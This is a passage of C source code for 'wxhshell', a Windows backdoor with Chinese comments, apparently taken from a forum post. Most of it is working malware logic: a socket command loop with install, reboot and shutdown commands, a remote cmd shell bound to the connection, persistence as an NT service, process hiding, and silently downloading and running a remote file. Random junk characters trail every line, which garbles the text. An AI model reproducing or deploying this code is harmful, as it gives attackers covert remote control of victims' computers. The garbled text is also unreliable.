      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); w xKlBx7  
    break; Jw)Uk< \  
  } ~oy =2Q<Z  
  // 安装 d`q<!qFZh  
  case 'i': { `h}fS4CO  
    if(Install()) 9q5jqFQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X]d;x/2  
    else A}v! vVg  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :3J, t//c  
    break; @9lV~,,U  
    } 9AO`Zk{/Ez  
  // 卸载 &#^^UT(nj  
  case 'r': { =VFi}C/  
    if(Uninstall()) S<H 2e{~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^pruQp1X  
    else jT>G8}h  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); byoP1F%  
    break; v% 6uU  
    } 3DRJl, v  
  // 显示 wxhshell 所在路径 e` 9d&"  
  case 'p': { 5gYv CW&~  
    char svExeFile[MAX_PATH]; hkB/ OJ  
    strcpy(svExeFile,"\n\r"); $5N%!  
      strcat(svExeFile,ExeFile); {Z0(V"Q  
        send(wsh,svExeFile,strlen(svExeFile),0); #d2XVpO[0  
    break; Hd]o?q\  
    } d$qivct  
  // 重启 f]%:.N~1w  
  case 'b': { =jXBF.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); jYDpJ##Zb  
    if(Boot(REBOOT)) m:&go2Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h|qTMwPr  
    else { R8|H*5T?+  
    closesocket(wsh); wV8_O)[  
    ExitThread(0); 3m%oXT  
    } C+o1.#]JM  
    break; n-zAkKM  
    } T%74JRQ  
  // 关机 ;Z^\$v9?  
  case 'd': { )E9[=4+*C$  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); UMtnb:ek  
    if(Boot(SHUTDOWN))  ac  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8J|2b; Vf  
    else { Nz/PAs7g6  
    closesocket(wsh); x*>@knP<-  
    ExitThread(0); Qw>~] d,Z  
    } c12mT(+-  
    break; NxY B)`~  
    } %8Eu{3  
  // 获取shell @^P<(%p  
  case 's': { S 7pf QF  
    CmdShell(wsh); 8Of.n7{  
    closesocket(wsh); vH1IVF"DS  
    ExitThread(0); ^UU@7cSi|G  
    break; B xAyjA6  
  } 3.?G,%S5.$  
  // 退出 `/ <y0H  
  case 'x': { Sc b'  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); xqm-m  
    CloseIt(wsh); /bdL.Y#V  
    break; 2<$pai"yl  
    } 'q>2WP|UY9  
  // 离开 7R5m|h`M  
  case 'q': { lw+54lZX|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ob3)bI oM  
    closesocket(wsh); XLHi  
    WSACleanup(); pLYLHS`*  
    exit(1); |D*a"*1+A  
    break; wrP3:!=  
        } aSse' C<a  
  } 74_':,u;]~  
  } }%75 Wety  
z)%Ke~)<\@  
  // 提示信息 S\76`Ot  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]{Y7mpdB  
} <JUumrEo  
  } c,>y1%V*S{  
{L'uuG\9U  
  return; 3~q#P   
} /1@py~ZX  
!NqLBrcv0  
// shell模块句柄 &=f] a  
int CmdShell(SOCKET sock) ,FIG5-e,}  
{ 'p_|Rw>  
STARTUPINFO si; u.yYE,9  
ZeroMemory(&si,sizeof(si)); ZR]p7{8B  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W3+;1S$k  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %Ev)Hk  
PROCESS_INFORMATION ProcessInfo; g)!d03Qoy  
char cmdline[]="cmd"; \jmT#Gt`9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?,}:)oA_  
  return 0; z`H|]${X  
} - +<ai  
h\T}$jgfWm  
// 自身启动模式 PGd?c#v#  
int StartFromService(void) J,G/L!Bp  
{ >//yvkZ9,  
typedef struct M{z&h>  
{ &3Y"Zd!  
  DWORD ExitStatus; _xsHU`(J#  
  DWORD PebBaseAddress; OYyF*F&S[  
  DWORD AffinityMask; :(Ak:  
  DWORD BasePriority; HXm&`  
  ULONG UniqueProcessId; xWK0p'E0  
  ULONG InheritedFromUniqueProcessId; C>A} e6o  
}   PROCESS_BASIC_INFORMATION; 8q]_> X  
^*G UcQ$  
PROCNTQSIP NtQueryInformationProcess; Prc (  
t5CJG'!ql  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .Te GA;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Skl:~'W.&|  
b{BiC&3  
  HANDLE             hProcess; V= g u'~  
  PROCESS_BASIC_INFORMATION pbi; ;.66phe  
dvE~EZcS  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 42f\]R,  
  if(NULL == hInst ) return 0; T O&^%d  
QsX`IYk  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); M1z ?E@kz  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <<DPer2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); r}:D g fn  
%0 p9\I  
  if (!NtQueryInformationProcess) return 0; `*o ko[\3  
(fYYcpd,k  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); sF Ph?  
  if(!hProcess) return 0; v}5||s!=  
U:AB%gr[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; v4]#Nc$~T  
e/uLBZ  
  CloseHandle(hProcess); :*M2@  
sa}.o ZpQ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); SJ}PV:x  
if(hProcess==NULL) return 0; C).+h7{nd  
~OMo$qt`lP  
HMODULE hMod; |H(i)yu"5'  
char procName[255]; (M?VB*sm0  
unsigned long cbNeeded; ov5g`uud  
)gx*;z@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); t*`G@Nj  
)EK\3q  
  CloseHandle(hProcess); S c ijf 9  
gj7'4 3 ?W  
if(strstr(procName,"services")) return 1; // 以服务启动 VtzBYza  
tl 9`  
  return 0; // 注册表启动 #nQboTB@  
} } rX)A\ g6  
(&=3Y8  
// 主模块 4Wu(Tps  
int StartWxhshell(LPSTR lpCmdLine) DoNN;^H  
{ HJ!!"  
  SOCKET wsl; 2eRv{_  
BOOL val=TRUE; Rzyaicj^c  
  int port=0; .NJ Ne  
  struct sockaddr_in door; cSBS38>  
B1j^qoC.5  
  if(wscfg.ws_autoins) Install(); cm8co  
g,G{%dGsk  
port=atoi(lpCmdLine); | 2GrOM&S  
ewdcAF5  
if(port<=0) port=wscfg.ws_port; ^?: Az  
2q UX"a4  
  WSADATA data; u/CR7Y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; T2A74>Nw  
8 .&P4u i  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /!_FE+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); J|@O4 g   
  door.sin_family = AF_INET; rM4Ri}bS  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); cpPS8V  
  door.sin_port = htons(port); m2l0`l~T8  
9&HaEAme  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { EUq6) K  
closesocket(wsl); )afH:  
return 1; u= Ga}  
} NA YwuE-`  
>_#A*B|  
  if(listen(wsl,2) == INVALID_SOCKET) { ]D^zTl3=q  
closesocket(wsl); ^U^K\rq 1u  
return 1; 3*F|`js"  
} K<k\A@rv8H  
  Wxhshell(wsl); qP+%ui5xR  
  WSACleanup(); -dw/wHf"  
-%Jm-^F I  
return 0; 5! ]T%.rM  
S] 4RGWn  
} r!^VCA  
?'>[n m  
// 以NT服务方式启动 ti<;>P[4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) AHT(Z~ C  
{ b%X<'8 z9Z  
DWORD   status = 0; R0yp9icS  
  DWORD   specificError = 0xfffffff; _$mS=G(  
PKev)M;C+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; k#2b3}(,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `uc`vkVZ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; eH9-GGr  
  serviceStatus.dwWin32ExitCode     = 0; rc}=`D`  
  serviceStatus.dwServiceSpecificExitCode = 0; FC4hvO(/m  
  serviceStatus.dwCheckPoint       = 0; qvs[Gkaa@  
  serviceStatus.dwWaitHint       = 0; >`n)-8  
:U faMe5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); V.!z9AQ  
  if (hServiceStatusHandle==0) return; ^fU,9  
}]pOR&o  
status = GetLastError(); 0Rn`63#  
  if (status!=NO_ERROR) "VeNc,-nfQ  
{ m xy=3cUi  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; r3YfY \  
    serviceStatus.dwCheckPoint       = 0; QaOF l` i  
    serviceStatus.dwWaitHint       = 0; 1 y7$"N8Xo  
    serviceStatus.dwWin32ExitCode     = status; m.U&O=]5  
    serviceStatus.dwServiceSpecificExitCode = specificError; V^\b"1X7N  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?aZ\D g{  
    return; <2\Q Y  
  } i;67< f}-  
=I$:-[(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; j2|UuWU  
  serviceStatus.dwCheckPoint       = 0; 8WwLKZ}  
  serviceStatus.dwWaitHint       = 0; ++}#pl8e  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,27=i>>  
} %%Wn:c>  
1k)`C<l  
// 处理NT服务事件,比如:启动、停止 O.?q8T)n82  
VOID WINAPI NTServiceHandler(DWORD fdwControl) s3)T}52  
{ >kV=h?]Y  
switch(fdwControl) H"rIOoxf  
{ Bs-MoT!  
case SERVICE_CONTROL_STOP: ."j*4  
  serviceStatus.dwWin32ExitCode = 0; (!<G` ;}u  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =Y R+`[bfI  
  serviceStatus.dwCheckPoint   = 0; EkP(] F  
  serviceStatus.dwWaitHint     = 0; &^ =Y76  
  { (XQl2C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >&|/4`HSB  
  } oX-h7;SD  
  return; (P nrY~9  
case SERVICE_CONTROL_PAUSE: IUy5=Sl   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5{#ya 2  
  break; WoWBZ;+U  
case SERVICE_CONTROL_CONTINUE: T) cbpkH4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; gk"J+uM  
  break; 9riKSp:5  
case SERVICE_CONTROL_INTERROGATE:  ePI)~  
  break; m6 a @Y<  
}; Va\?"dH>M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); LYS[qLpf  
} Q#I?nBin  
Y.o-e)zX  
// 标准应用程序主函数 gd;e-.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }x:nhy`  
{ uX,ln(9I*H  
_lG\_6oJ,  
// 获取操作系统版本 NZ~"2~Hh  
OsIsNt=GetOsVer(); #]Q.B\\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); K-7i4 ~  
G;bE_O  
  // 从命令行安装 {FM:\/  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8KS9!*.iZ  
qC YXkZ%`  
  // 下载执行文件 N:rnH:g+:  
if(wscfg.ws_downexe) { iLkP@OYgQ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ks^EGy+O:-  
  WinExec(wscfg.ws_filenam,SW_HIDE); d#nKTqSg  
} <k2]GI-}h  
nL* SNQ_  
if(!OsIsNt) { 51x)fZQ  
// 如果时win9x,隐藏进程并且设置为注册表启动 Edav }z  
HideProc(); !CuLXuM  
StartWxhshell(lpCmdLine); Og<UW^VR  
} YS&Q4nv-  
else ^1+&)6s7V  
  if(StartFromService()) \YsYOFc|  
  // 以服务方式启动 9@z"~H  
  StartServiceCtrlDispatcher(DispatchTable); TWJ%? /d  
else ?1MaA  
  // 普通方式启动 v]BMET[w  
  StartWxhshell(lpCmdLine); 4O3-PU>N  
gR) )K)  
return 0; 6\?< :Qto  
}
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只看该作者 1 发表于: 2006-10-10
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